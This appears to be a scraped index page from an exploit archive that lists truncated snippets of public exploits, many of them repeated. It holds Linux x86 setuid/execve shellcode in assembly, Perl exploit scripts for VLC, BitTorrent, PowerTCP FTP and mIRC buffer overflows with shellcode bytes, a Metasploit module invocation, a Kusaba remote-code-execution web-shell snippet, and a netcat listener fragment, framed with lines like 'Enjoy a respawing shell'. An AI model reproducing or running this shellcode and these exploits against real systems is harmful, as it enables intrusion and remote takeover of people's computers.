linux/x86 setuid(0) & execve(/bin/sh 0 0) shellcode 28 bytes

No description provided by source. -------------------ASM---------------------- global start section .text start: ;setuid0 xor ebx,ebx lea eax,ebx+17h cdq int 80h ;execve"/bin/sh",0,0 xor ecx,ecx push ecx push 0x68732f6e push 0x69622f2f lea eax,ecx+0Bh mov ebx,esp int 80h...

vlcrt-overflow.txt

!/usr/bin/perl VLC Media Player This should work on a fully up-to-date Windows XP SP3. If you want it to work on your OS version, just find a "jmp esp" address in one of the dlls loaded with VLC :. Have fun. Remember that VLC will open the file .rt automatically with a video of the same name...

VLC Media Player RealText Subtitle Overflow

This module exploits a stack buffer overflow vulnerability in VideoLAN VLC use exploit/windows/fileformat/vlc/realtext msf undefinedrealtext show actions ...actions... msf undefinedrealtext set ACTION msf undefinedrealtext show options ...show and set options... msf undefinedrealtext run This...

powertcpftp-overflow.txt

!-- PowerTCP FTP module Multiple Technique Exploit SEH Overwrite + HeapSpray bug originally found by : Intel http://www.milw0rm.com/exploits/6793 I use Intel's exploit , but IE change unASCII bytes and it doesn't work! my system is XP SP2 IE7 . then I wrote my own expl with HeapSpray technique ,...

PowerTCP FTP module Multiple Technique Exploit (SEH/HeapSpray)

No description provided by source. !-- PowerTCP FTP module Multiple Technique Exploit SEH Overwrite + HeapSpray bug originally found by : Intel http://www.milw0rm.com/exploits/6793 I use Intel's exploit , but IE change unASCII bytes and it doesn't work! my system is XP SP2 IE7 . then I wrote my o...

PowerTCP FTP Module - Multiple Techniques (SEH HeapSpray)

!-- PowerTCP FTP module Multiple Technique Exploit SEH Overwrite + HeapSpray bug originally found by : Intel http://www.milw0rm.com/exploits/6793 I use Intel's exploit , but IE change unASCII bytes and it doesn't work! my system is XP SP2 IE7 . then I wrote my own expl with HeapSpray technique ,...

PowerTCP FTP module Multiple Technique Exploit (SEH/HeapSpray)

Exploit for unknown platform in category remote exploits ============================================================== PowerTCP FTP module Multiple Technique Exploit SEH/HeapSpray ============================================================== !-- PowerTCP FTP module Multiple Technique Exploit SE...

PowerTCP FTP Module - Multiple Techniques (SEH HeapSpray)

PowerTCP FTP Module - Multiple Techniques SEH HeapSpray !-- PowerTCP FTP module Multiple Technique Exploit SEH Overwrite + HeapSpray bug originally found by : Intel http://www.milw0rm.com/exploits/6793 I use Intel's exploit , but IE change unASCII bytes and it doesn't work! my system is XP SP2 IE...

VLC 0.9.4 .TY File Buffer Overflow Exploit (SEH)

No description provided by source. !/usr/bin/perl 10/23/2008 ksOSe Rewritten VLC 0.9.4 .TY File Buffer Overflow Exploit 1 - Works on Windows XP SP1, SP2, SP3 and probably win2k 2 - Works both with a local file and with a remote url 3 - VLC do not crash! 4 - Enjoy a respawing shell, even if VLC wi...

VideoLAN VLC Media Player 0.9.4 - '.ty' Local Buffer Overflow (SEH)

!/usr/bin/perl 10/23/2008 ksOSe Rewritten VLC 0.9.4 .TY File Buffer Overflow Exploit 1 - Works on Windows XP SP1, SP2, SP3 and probably win2k 2 - Works both with a local file and with a remote url 3 - VLC do not crash! 4 - Enjoy a respawing shell, even if VLC will be closed! bUGGEd htdocs nc -l -...

bittorrent-overflow.txt

!/usr/bin/perl BitTorrent 6.0.3 .torrent File Stack Buffer Overflow Exploit 09/21/2008 by ksOSe && oVeret use warnings; use strict; If you change thisavoid \x80-\x9f unless you really know what you are doing you must also change the length value of the decoder my $shellcode = windows/exec...

vlc-overflow.txt

!/usr/bin/perl 10/21/2008 ksOSe use warnings; use strict; windows/exec - 141 bytes http://www.metasploit.com my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" . "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01"...

BitTorrent 6.0.3 .torrent File Stack Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl BitTorrent 6.0.3 .torrent File Stack Buffer Overflow Exploit 09/21/2008 by ksOSe && oVeret use warnings; use strict; If you change thisavoid \x80-\x9f unless you really know what you are doing you must also change the length value of the decoder m...

A stack overflow attack and the anti-vulnerability warning-the black bar safety net

Overflow is the security of the network is often a contact to a problem, once there is some kind of overflow vulnerability, the network of thousands of computers will become a Hacker brothers and sisters on the chopping block of meat. Then the overflow in the end is what? This attack method...

GuildFTPd 0.999.8.110.999.14 - Heap Corruption (PoC) Denial of Service

GuildFTPd 0.999.8.110.999.14 - Heap Corruption PoC Denial of Service GuildFTPd v0.999.8.11/v0.999.14 heap corruption PoC/DoS exploit GuildFTPd URL - http://www.guildftpd.com cwd/list heap corruption overwrite registers in free: ecx, edi xdmnt 2008 feel free to do shellcode -- coding: windows-1252...

CUPS 1.3.7 - 'HP-GL/2' Filter Remote Code Execution

source: https://www.securityfocus.com/bid/31688/info CUPS is prone to a remote code-execution vulnerability caused by an error in the 'HP-GL/2 filter. Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely cau...

Kusaba 1.0.4 - Remote Code Execution (1)

After execution: http://www.kusaba.image.board/url/kasubaoek/oekaki.php?pc=print "Hello"; http://www.kusaba.image.board/url/kasubaoek/oekaki.php?sc=echo Hello / $shellname = 'oekaki.php'; // any filename ending in php $server = 'http://www.kusaba.image.board/url/'; // BBS website, with trailing...

linux/x86 setresuid(0,0,0) /bin/sh shellcode 35 bytes

No description provided by source. ========================================================== linux x86 setresuid0,0,0-/bin/sh shellcode 35 bytes ========================================================== Shellcode by the FHM crew: ---------------------------- http://fhm.noblogs.org...

RealPlayer/Helix Player Remote Format String Exploit (linux)

No description provided by source. / $ An open security advisory 13 - RealPlayer and Helix Player Remote Format String Exploit 1: Bug Researcher: c0ntex - c0ntexbatgmail.com 2: Bug Released: September 26th 2005 3: Bug Impact Rate: Hi 4: Bug Scope Rate: Remote $ This advisory and/or proof of conce...

mIRC 6.34 Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl mIRC 6.34 Remote Buffer Overflow Exploit Exploit by SkD skdrat at hotmail . com ---------------------------------------- A day's work of debugging and looking at mIRC. Tested on Windows XP SP3 English and Windows Vista SP0. Credits to securfrog fo...